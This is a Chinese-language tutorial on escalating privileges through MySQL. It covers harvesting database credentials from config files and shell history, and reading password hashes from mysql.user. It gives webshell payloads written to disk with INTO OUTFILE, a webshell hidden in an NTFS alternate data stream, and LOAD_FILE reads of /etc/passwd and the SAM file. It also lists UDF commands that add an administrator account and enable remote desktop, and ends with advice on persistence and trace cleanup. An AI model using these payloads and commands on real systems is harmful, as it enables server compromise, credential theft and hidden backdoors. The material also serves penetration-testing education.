Mysql提权基础
字数 1761 2025-08-29 08:31:41
MySQL提权基础教学文档
1. MySQL提权概述
MySQL是一种中、小型关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属于Oracle公司。MySQL采用GPL(GNU通用公共许可证),分为免费版和商业版。
1.1 MySQL提权必备条件
- 服务器安装MySQL数据库:利用MySQL提权的前提是服务器安装了MySQL数据库
- MySQL服务未降权:MySQL数据库默认安装以系统权限继承
- 获取MySQL root账号密码:需要获取具有足够权限的账号凭证
1.2 判断MySQL服务运行权限
- 查看系统账号:使用
net user命令查看系统当前账号,如果出现mysql用户可能意味着降权 - 查看mysqld运行的Priority值:系统权限的Priority值为"8",如果mysqld的Priority值也为8则意味着以System权限运行
- 查看端口外联情况:扫描3306端口判断是否提供对外连接
2. MySQL密码获取与破解
2.1 获取网站数据库账号和密码
-
查找CMS配置文件:
- DedeCMS:data/common.inc.php
- Discuz:config/config_global_default.php、config/config_ucenter.php、config.inc.php
- 一般位于config、application、conn、db等目录
- Java应用可能在/WEB-INF/config/config.properties中
-
Linux系统获取方法:
- 查看./root/.mysql_history、./root/.bash_history文件
- MySQL 5.6以下版本,binary log中可能包含明文密码(使用
mysqlbinlog binlog.000001查看)
2.2 获取MySQL数据库user表
MySQL用户密码保存在:
- Windows:
C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL目录下的user.frm、user.MYD和user.MYI文件 - 可将这些文件下载到本地读取
2.3 MySQL密码查询
select user,password from mysql.user;
select user,password from mysql.user where user ='root';
2.4 MySQL密码加密算法
MySQL使用两次SHA1夹杂一次unhex的方式加密密码:
password_str = concat('*', sha1(unhex(sha1(password))))
验证查询:
select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));
3. MySQL获取Webshell
3.1 必备条件
- 知道站点物理路径
- 有足够权限(最好是root账号)
- magic_quotes_gpc()=OFF
3.2 导出Webshell方法
- 直接导出:
Select '<?php eval($_POST[cmd])?>' into outfile '物理路径';
and 1=2 union all select 一句话HEX值 into outfile '路径';
- 通过创建表导出:
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL);
INSERT INTO `mysql`.`darkmoon` (`darkmoon1`) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';
DROP TABLE IF EXISTS `darkmoon`;
- Windows下使用SQLTOOLs工具:
echo ^<?php @eval(request[xxx]c:\web\www\shell.php
4. MySQL渗透有用函数与技巧
4.1 有用函数
-
系统信息函数:
- DATABASE()
- USER()
- SYSTEM_USER()
- SESSION_USER()
- CURRENT_USER()
-
文件读取函数:
- load_file() - 读取文件内容并返回字符串
4.2 常见系统配置文件路径
Windows系统:
c:/boot.ini
c:/windows/php.ini
c:/windows/my.ini
c:\mysql\data\mysql\user.MYD
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\windows\repair\sam
Linux/Unix系统:
/etc/passwd
/etc/issues
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/resin-3.0.22/conf/resin.conf
4.3 文件读取示例
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf');
4.4 NTFS ADS技巧
- MySQL创建目录:
select 'xxx' into outfile 'D:\mysql\lib::$INDEX_ALLOCATION';
- 隐藏Webshell:
echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg
4.5 实用命令
- 3389相关:
netstat -an |find "3389"
tasklist /svc | find "TermService"
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (CLASS != "") call setallowtsconnections 1
- MySQL常用命令:
show databases;
use database_name;
show tables;
select @@datadir;
select @@basedir;
show variables like '%plugins%';
- 系统信息查询:
select system_user();
select current_user();
select version();
select database();
select @@version_compile_os;
4.6 UDF提权常用函数
- cmdshell - 执行cmd命令
- downloader - 下载文件
- open3389 - 开启3389终端服务
- backshell - 反弹Shell
- ProcessView - 枚举系统进程
- KillProcess - 终止进程
- regread - 读注册表
- regwrite - 写注册表
- shut - 关机/注销/重启
使用示例:
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
5. 总结
MySQL提权是一个系统性的过程,需要掌握:
- MySQL服务权限判断方法
- 密码获取与破解技术
- Webshell获取技巧
- 系统信息收集与利用
- UDF提权等高级技术
在实际渗透测试中,需要根据目标环境灵活组合使用这些技术,同时注意权限维持和痕迹清理。